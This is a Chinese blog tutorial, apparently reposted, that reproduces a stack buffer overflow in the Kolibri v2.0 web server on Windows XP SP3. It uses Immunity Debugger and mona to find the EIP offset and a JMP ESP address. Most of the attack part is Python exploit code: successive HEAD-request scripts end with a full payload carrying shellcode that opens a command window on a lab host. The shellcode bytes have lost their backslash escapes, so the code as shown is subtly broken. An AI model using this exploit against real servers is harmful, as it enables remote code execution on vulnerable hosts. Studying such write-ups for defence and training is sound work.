• Kolibri v2.0-Buffer Overflow成功复现


    Kolibri v2.0-Buffer Overflow成功复现及分析

    文件下载地址:http://pan.baidu.com/s/1eS9r9lS

     正文

    本次讲解用JMP ESP的方法溢出

    关于网上的寻蛋指令将会在末尾给出地址

    环境:windows xp sp3

    工具:Immunity Debugger

    配置Kolibri并开启服务

    选中根目录  写入index文件

     然后访问目标机器的8080端口

    配置完毕

    初步寻找溢出点

    已经配置完了,接下来就开始溢出

    用到下面的一个python脚本

    import socket
    
    poc = "A" * 1000;
    buffer = (
    "HEAD /" + poc + " HTTP/1.1
    "
    "Host: 192.168.1.2:8080
    "
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
    
    expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    expl.connect(("192.168.1.29",8080));
    expl.send(buffer);
    expl.close();

    发送1000个A来判断程序是否溢出了

    用Immunity Debugger加载进一步分析

    发现攻击后程序自动退出了  原因是程序崩溃后无法继续执行,所以这里我才用Immunity Debugger来中断它防止自动退出

    发现栈中的数据都被41(ascii的A)填充了。

    我们用到Immunity Debugger的mona模块来生成个寻找指令

    !mona pattern_create 600

    生成一串偏移地址为600的字符串

    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

    重新构造exp

    import socket
    
    poc = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9";
    buffer = (
    "HEAD /" + poc + " HTTP/1.1
    "
    "Host: 192.168.109.128:8080
    "
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
    
    expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    expl.connect(("192.168.109.128",8080));
    expl.send(buffer);
    expl.close();

    继续用到Immunity Debugger来调试

    发现这次指针指向了0152FB28的位置  但是由于esp是向下跳转的  所以以此类推EIP的位置就是esp-4

    也就是当前的0152FB24的位置

    我们再用mona查看0152FB24地址上的内容32724131偏移地址为多少

    !mona po 32724131

    偏移地址为515 对应的数值为1Ar2

    所以只需要把对应的1Ar2的值换成JMP ESP地址就可以顺利成章的跳转了(相关知识请看我博客的缓冲区溢出讲解)

    开始溢出程序

    由于EIP是32位的寄存器 所以我们的EIP数值应该是4位 也就是516~519

    所以前面515个字符我们都用A来代替

    最后构造exp为

    poc = "A" * 515+"JMP ESP地址"+"shellcode"

    JMP ESP的地址是多少呢??

    这里继续用mona来查看

    !mona jmp -r esp

    在根目录查看

    随便从中选取一个  这里我选取0x7d5a30d7

    构造最终的exp为

    poc = "A" * 515+"xD7x30x5Ax7D"+"shellcode"

    shellcode用一个弹出DOS窗口的

    终极终极终极终极exp生成如下

    import socket
    
    poc = "A" * 515+"xD7x30x5Ax7D"+"x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6x45xFBx44xC6x45xFCx4CxC6x45xFDx4Cx8Dx45xF4x50xBAx7Bx1Dx80x7CxFFxD2x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2Ex89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4x50xB8xC7x93xBFx77xFFxD0";
    buffer = (
    "HEAD /" + poc + " HTTP/1.1
    ""Host: 192.168.109.128:8080
    "
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
    "
    "Keep-Alive: 115
    "
    "Connection: keep-alive
    
    ")
    
    expl = socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
    expl.connect(("192.168.109.128",8080));   
    expl.send(buffer);
    expl.close(); 

    可以看到我们成功远程溢出了目标服务器

    结束语:

    原文地址:http://bbs.pediy.com/thread-217595.htm

    原文是用的寻蛋指令,这样的好处可以防止出现以下问题

    当我们用JMP ESP溢出后 发现还是会出现错误框框

    用寻蛋指令就不会出现类似问题

    有兴趣的读者可以自己到原文读读原创大佬的智慧

  • 相关阅读:
    报表开发之扩展GROUP BY
    Leetcode--easy系列9
    datatable 前台和后台数据格式
    C实现头插法和尾插法来构建单链表(带头结点)
    HDOJ 题目1520 Anniversary party(树形dp)
    windows环境利用apache 配置虚拟主机
    POJ--1966--Cable TV Network【无向图顶点连通度】
    Linux Shell脚本编程学习笔记和实战
    win10 bcdedit加入vhdx启动
    设计模式之Mediator模式(笔记)
  • 原文地址:https://www.cnblogs.com/wh4am1/p/6916226.html
Copyright © 2020-2023  润新知